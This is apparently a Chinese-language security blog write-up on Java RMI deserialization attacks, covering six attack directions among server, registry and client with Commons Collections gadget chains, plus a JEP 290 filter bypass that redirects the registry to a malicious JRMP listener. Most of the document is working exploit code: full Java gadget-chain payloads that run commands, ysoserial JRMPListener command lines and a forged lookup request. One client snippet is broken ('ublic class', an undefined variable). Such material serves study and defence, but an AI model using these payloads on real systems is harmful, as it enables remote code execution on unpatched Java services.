RMI ATTACK

目录

引用自lala师傅

RMI 反序列化攻击

RMI调用由三部分构成:服务端,客户端,注册端。而在RMI传输数据时,数据是以序列化的形式进行传输的,这就意味着RMI调用中存在反序列化的操作,这就给了反序列化攻击可乘之机。

在高版本JDK中,注册端和服务端是必须在同一台服务器上的,这就意味着在高版本JDK中注册端打服务端或者服务端打攻击端没啥用。而在低版本中这两者是可以分离的,还算有攻击的可能。但总体来说这类攻击方法还是很鸡肋的。

接下来会对攻击方和受害方的不同,分成6种攻击方式,如下。

(除非特殊说明,否则下面说的都是8u66和CC1链)

服务端攻击注册端

服务端在向注册端使用bind等函数操作远程对象时,会提供一段序列化数据,注册端获取到序列化数据后会进行反序列化操作,这中间就会有反序列化漏洞发生可能。

下面用CC1链去进行攻击,JDK版本8u66

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class server {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "123");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry = LocateRegistry.createRegistry(3333);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
        registry_remote.bind("HelloRegistry", proxyEvalObject);
    }
}

注册端攻击服务端

服务端在向注册端使用bind等函数操作远程对象时,会提供一段序列化数据,随后注册端也会向服务端发送一段序列化数据,服务端便会进行反序列化操作,其中便存在反序列化漏洞发生的可能。

8u66

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1234/setUser";
        user user = new userImpl();
        LocateRegistry.createRegistry(12345);
        Naming.unbind(url);
        System.out.println("Server Running At:" + url);
    }
}

同时ysoserial开启恶意JRMP注册端,提供cc1链。

java -cp .\ysoserial-master-d367e379d9-1.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 "calc"

服务端攻击客户端

RMI中,客户端和服务端的交互也是由序列化数据传输来进行的,所以服务端与客户端之间也存在相互反序列化攻击的可能。

服务端

import java.lang.reflect.InvocationHandler;
import java.rmi.Remote;

public interface user extends Remote{
    public InvocationHandler exp() throws Exception;
}


import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class userImpl extends UnicastRemoteObject implements user{ //定义一个远程接口实现类,注意这个远程实现类必须继承自UnicastRemoteObject,不然服务端不会发送该类的对象的存根(stub(下文讲))
    protected userImpl RemoteException;

    protected userImpl() throws RemoteException {
    }

    public InvocationHandler exp() throws Exception{
        ChainedTransformer chainedTransformer= new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});

        Map innermap = new HashMap();
        Map outermap = LazyMap.decorate(innermap, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
//妙处
        InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);//获得一个AnnotationInvocationHandler对象
        Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);//创建一个Map的代理类,其代理方法为AnnotationInvocationHandler对象里的invoke方法
        InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox);  //将代理Map传入,当代理Map被执行任一方法时,执行invoke方法

        return handler1;
    }
}



import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:23335/exp";
        user user = new userImpl();
        LocateRegistry.createRegistry(23335);
        Naming.bind(url,user);
        System.out.println("Server Running At:" + url);
    }
}

客户端

import java.lang.reflect.InvocationHandler;
import java.rmi.Remote;

public interface user extends Remote{
    public InvocationHandler exp() throws Exception;
}


import java.rmi.Naming;

public class client {
    public static void main(String[] args){
        try{
            String url = "rmi://127.0.0.1:23335/exp";
            user user = (user)Naming.lookup(url);
            Object ob = user.exp();
            System.out.println(ob);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}


先启动服务端再启动客户端就能弹计算器辣

客户端攻击服务端

原理同上,不再说了。

服务端

import java.lang.reflect.InvocationHandler;
import java.rmi.Remote;

public interface user extends Remote{
    public void exp(Object a) throws Exception;
}



import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class userImpl extends UnicastRemoteObject implements user{ //定义一个远程接口实现类,注意这个远程实现类必须继承自UnicastRemoteObject,不然服务端不会发送该类的对象的存根(stub(下文讲))
    protected userImpl RemoteException;

    protected userImpl() throws RemoteException {
    }

    public void exp(Object a) throws Exception{
        System.out.println("123");
    }
}


import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:23335/exp";
        user user = new userImpl();
        LocateRegistry.createRegistry(23335);
        Naming.bind(url,user);
        System.out.println("Server Running At:" + url);
    }
}

客户端

import java.rmi.Remote;

public interface user extends Remote{
    public void exp(Object a) throws Exception;
}


import java.rmi.Naming;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args){
        try{
            String url = "rmi://127.0.0.1:23335/exp";
            user user = (user)Naming.lookup(url);

            ChainedTransformer chainedTransformer= new ChainedTransformer(new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] { String.class }, new Object[]{"calc.exe"})});

            Map innermap = new HashMap();
            Map outermap = LazyMap.decorate(innermap, chainedTransformer);

            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
            cons.setAccessible(true);
//妙处
            InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);//获得一个AnnotationInvocationHandler对象
            Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);//创建一个Map的代理类,其代理方法为AnnotationInvocationHandler对象里的invoke方法
            InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox);


            user.exp(handler1);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}


客户端攻击注册端

在客户端向注册端发送查询请求时,会使用到lookup函数。 我们对lookup函数进行动态调试跟进,会来到这个地方。

可以清晰地发现存在一个序列化方法writeObject,其中var1便是lookup方法中传入的字符串。var1在进行序列化后会在后面的ref.invoke(var2)处发送给服务端,服务端会反序列化这段数据,给了反序列化攻击产生的机会:我们可以仿写一个lookup方法,给var1赋值为恶意数据发送给服务端,造成攻击。

下面这段代码是我在先知上嫖的。https://xz.aliyun.com/t/8706#toc-9

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
        Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 23335);

        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyEvalObject);
        ref.invoke(var2);

        registry_remote.lookup("HelloRegistry");
        System.out.println("rmi start at 3333");
    }
}

注册端攻击客户端

客户端向注册端调用list,lookup等函数查询服务后,注册端会返回查询结果的序列化形式给客户端,客户端收到后会进行反序列化操作,这就存在反序列化攻击的可能,

public class client {
    public static void main(String[] args){
        try{
            String url = "rmi://127.0.0.1:23335/exp";
            user user = (user)Naming.lookup(url);

        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

ysoserial开启恶意注册端

java -cp .\ysoserial-master-d367e379d9-1.jar ysoserial.exploit.JRMPListener 23335 CommonsCollections1 "calc"

JEP290

在JDK8u121,JDK7u13,JDK6u141之后添加了一个新的安全机制JEP-290

在JDK8u121,JDK7u13,JDK6u141之后添加了一个新的安全机制JEP-290,它提供了一个接口ObjectInputFilter,可以通过这个接口来实现反序列化时依照白名单实现类的过滤。

RMI过程中默认有过滤器,RegistryImpl#registryFilter

可以发现白名单类有这些

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory /  ActivationID / UID

只要在反序列化过程中出现的类不是上述类,就会抛出REJECTED异常

下面是我在8u181 发起客户端攻击注册端时抛出的REJECTED异常。

代码分析

RMI的过滤器是如何发挥作用的呢?带着这个疑问,我们去调试一下代码。

假设此时客户端仿写lookup方法向注册端发送了一个对象,或者服务端向注册端发送了一个bind/rebind请求,注册端便会调用UnicastServerRef来处理请求。

跟进这个UnicastServerRef#oldDispatch方法:

在oldDispatch倒数第二排代码,调用了UnicastServerRef#unmarshalCustomCallData方法,跟进一下

可以看见该方法使用了setObjectInputFilter方法,而这个方法是用作于给序列化数据增加过滤器的

这里便是为当前序列化流增加了UnicastServerRef.this.filter这个过滤器。

📌那么UnicastServerRef.this.filter这个值又是哪里来的呢? 答案是在调用getRegistry时UnicastServerRef便被初始化了,其filter值也被进行了赋值(Naming.bind 会自动调用 LocateRegistry.getRegistry)。 如下图便是跟进LocateRegistry.getRegistry方法后的代码,此处实例化了一个UnicastServerRef对象。

所以UnicastServerRef.this.filter的值便是RegistryImpl#registryFilter

在调用unmarshalCustomCallData设置好当前序列化流的过滤器后,程序再开始调用RegistryImpl_Skel#dispatch来进行反序列化操作

在readObject方法中会判断当前序列化流是否配置有过滤器,如果有过滤器就在下面用checkInput对序列化流进行过滤。而checkInput实质是是调用序列化流的过滤器来进行过滤

下图是从反序列化到过滤的栈帧。

JEP290 BYPASS

UnicastRef(JDK<=8u231)

RegistryImpl_stub过滤中的白名单类中有UnicastRef 类,我们可以在这个类上下文章绕过JEP290.

这里先来把该攻击方法的大致轮廓勾勒出来,方便阅读下面的内容: 首先我们向注册端发送一个恶意对象 该对象能在被反序列化时主动向一个恶意注册端发起通讯并反序列化其传送过来的内容,此过程的反序列化没有经过Filter检验 完成攻击

我所进行调试的代码如下

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1069/user";
        user user = new userImpl();
        LocateRegistry.createRegistry(1069);
        Naming.bind(url,user);
        System.out.println("Server Running At:" + url);
        System.out.println(1);
    }
}

客户端的exp如下,我们可以跟着exp中的内容抽丝剥茧的分析

ublic class client {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {

        Registry reg = LocateRegistry.getRegistry("localhost",1069);
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 8888);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        reg.bind("test12",proxy);

    }

}

LiveRef

我们先来看看LiveRef,这对象是RMI通讯中比较核心的部分,它记录了注册端的各种信息。我们通过以下内容来看LiveRef是如何定位注册端的,为我们撰写EXP时通过LiveRef定位恶意注册端做铺垫。

在Naming.lookup 或者 Naming.bind方法中,都会先通过getRegistry方法获取注册端。

而getRegistry返回的对象是一个封装了的UnicastRef对象,UnicastRef中封装了LiveRef对象,存储了注册端信息。 所以实际上注册端信息是由封装在UnicastRef对象中的LiveRef对象来存储的。

在bind方法执行时,会先通过UnicastRef.newcall利用LiveRef存储的注册端信息去定位注册端

那么LiveRef中存储的信息(ep,id,islocal)是从哪来的呢?我们就需要去看看UnicastRef是如何初始化LiveRef这个类的。

于UnicastRef#UnicastRef(LiveRef var1)与服务端bind处下断点,当断点在bind处停下时使其继续运行到UnicastRef#UnicastRef(LiveRef var1。我们可以看到如下栈帧

在LocateRegistry#getRegistry 处会实例化LiveRef并传入参数,然后用此LiveRef对象实例化UnicastRef。

我们看看实例化LiveRef时传入的前两个参数。

先来看objid,这里的ObjID。REGISTRY_ID是一个固定值0

再来看看TCPEndpoint,传入TCPEndpoint的参数分别是从rmi地址字符串中读取的host,port以及两个null值(csf固定为null)

到这里就明白了LiveRef是如何定位注册端的了。

RemoteObjectInvocationHandler

RemoteObjectInvocationHandler 这个对象是Remote的子类,所以是可以通过RMI的过滤检测的。

exp运行后,当注册端反序列化时,会调用RemoteObjectInvocationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvocationHandler自身并无readObject方法),在RemoteObject的readObject方法末行有一个ref.readExternal(in)

跟进该方法

调用了LiveRef的静态方法read,跟进该方法

发现这个方法会根据序列化流中的内容还原出LiveRef对象,还原出的LiveRef对象中记录了恶意注册端的IP和端口号等信息。

然后再经过一系列的流程,会调用到DGCClient#registerRefs

56行以LiveRef中记录的恶意注册端地址为参数,调用了DGCClient.EndpointEntry.lookup,返回了一个封装了恶意注册端地址的DGCClient对象。 然后调用了该DGCClient对象的registerRefs方法。跟进

再DGCClient#registerRefs 末行会调用一个makeDirtyCall方法,其中var2封装了指向恶意注册端的LiveRef对象,跟进

然后会调用一个this.dgc.dirty方法,this.dgc中封装了指向恶意注册端的LiveRef,跟进

此处的代码(DGCImpl_stub#dirty)就很像 该方法会先向恶意注册端建立通讯,发送序列化信息,接收注册端传来的信息并进行反序列化。在该readObject进行反序列化时并没有设置过滤器,所以自然而然地便绕过了RMI通讯中JEP290设置的过滤器的检测,从而可以反序列化任何恶意注册端传来的序列化流,造成反序列化攻击。

完整复现

首先开启注册端,user类的具体代码就不贴了,注册端端口为1069

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1069/user";
        user user = new userImpl();
        LocateRegistry.createRegistry(1069);
        Naming.bind(url,user);
        System.out.println("Server Running At:" + url);
        System.out.println(1);
    }
}

客户端代码

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


public class client {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {

        Registry reg = LocateRegistry.getRegistry("localhost",1069);
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 8888);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        reg.bind("test12",obj);

    }

}

然后ysoserial启动恶意注册端

java -cp .\ysoserial-master-d367e379d9-1.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "calc"

客户端运行,成功弹出计算器

仿写lookup实现

除了bind,也可以用lookup的仿写来实现,这两者之间底层原理都是一样的。

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;
import java.io.ObjectOutput;
import java.lang.reflect.Field;

public class client {
    public static void main(String[] args) throws Exception {

        Registry registry = LocateRegistry.getRegistry("localhost",1069);
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("localhost", 8888);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, true));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        //模仿lookup请求
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);
        RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(obj);
        ref2.invoke(var2);
    }

}

总结

所以本质上此绕过方法是通过反序列化让注册端变为JRMP客户端,向我们恶意的JRMP注册端发起 JRMP 请求。

借用一下ttpfx师傅的图复盘全过程

UnicastRef中的LiveRef被用作定位注册端,这是前提。 RemoteObject的readObject方法会在RMI反序列化过程中被调用,其readObject方法会在后续中还原所封装的LiveRef对象,并向LiveRef对象指向的注册端发起通讯,反序列化其返回的数据,由于该反序列化流未增添过滤器,所以绕过JEP290造成了反序列化攻击。

因为文章是在边调试边写的,中途进行了多次删改,所以导致些许地方言辞不够准确,望各位见谅。